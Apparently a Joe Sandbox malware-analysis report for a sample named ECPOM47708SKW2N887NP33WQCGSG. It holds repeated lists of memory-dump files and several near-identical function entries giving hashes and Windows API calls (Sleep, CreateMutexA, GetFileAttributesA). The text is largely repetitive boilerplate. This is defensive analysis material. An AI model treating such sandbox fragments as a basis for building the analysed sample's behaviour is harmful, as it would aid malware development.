Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2|
API String ID: 1464230837-540489240
Opcode ID: 68b44340a438b57837c021dfca36a8a25103d8a64814a11e2af416f3721be097
Instruction ID: 4190e2165aa7c3398f1d62e9441b609606b3de771b5dc84f4763eddf1b683582
Opcode Fuzzy Hash: 68b44340a438b57837c021dfca36a8a25103d8a64814a11e2af416f3721be097
Instruction Fuzzy Hash: 09311A31610200EBEF189B78DD89B6DB772EF82314F248719E816E72D5D77DA9808A52

Function 00769ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0076A963
CreateMutexA.KERNEL32(00000000,00000000,007C3254), ref: 0076A981

Strings

T2|, xrefs: 0076A970

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2|
API String ID: 1464230837-540489240
Opcode ID: 7ce05bd6db9aac6dfbabdf0d2bc5340d3d4a9256d7d429a6f6bdcda669099116
Instruction ID: 3e4ca5625ea65fb9fba659669e69101dcfee2feb84463f0d90547016bb29786f
Opcode Fuzzy Hash: 7ce05bd6db9aac6dfbabdf0d2bc5340d3d4a9256d7d429a6f6bdcda669099116
Instruction Fuzzy Hash: 3B212531614200ABEB189B6CEC89B6CB765EB81310F208719E909D76D5DBBD69808A12

Function 0076A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0076A963
CreateMutexA.KERNEL32(00000000,00000000,007C3254), ref: 0076A981

Strings

T2|, xrefs: 0076A970

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2|
API String ID: 1464230837-540489240
Opcode ID: a6e60a1330cbe9a58d9836caf2d10988c4346e29392551aa4126b7eba0fe1b29
Instruction ID: 95dfca7e916afa12b32b0e38eeac4501b0dacb5fd096b439f26206ca59c54362
Opcode Fuzzy Hash: a6e60a1330cbe9a58d9836caf2d10988c4346e29392551aa4126b7eba0fe1b29
Instruction Fuzzy Hash: 42214D30354202E6FB29676CDC4AB6DB351EF82304F244D16ED46E72D1CB7E5841C953

Function 0076A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0076A963
CreateMutexA.KERNEL32(00000000,00000000,007C3254), ref: 0076A981

Strings

T2|, xrefs: 0076A970

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2|
API String ID: 1464230837-540489240
Opcode ID: 5397d394d4bd303b6c9cedf11c22eb56d4382af025d647090ce1aadf38ba33b3
Instruction ID: b662b823b2a8f9e84cd5786c51b16ea3da6f1c225f8f6dead6767161c2a993c9
Opcode Fuzzy Hash: 5397d394d4bd303b6c9cedf11c22eb56d4382af025d647090ce1aadf38ba33b3
Instruction Fuzzy Hash: A7213A31614300ABEF189B6CEC89B6CB771EB92314F24861DE809E77D5D77D69808A53

Function 007687B2 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(?,0076DA1D,?,?,?,?), ref: 007687B9

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
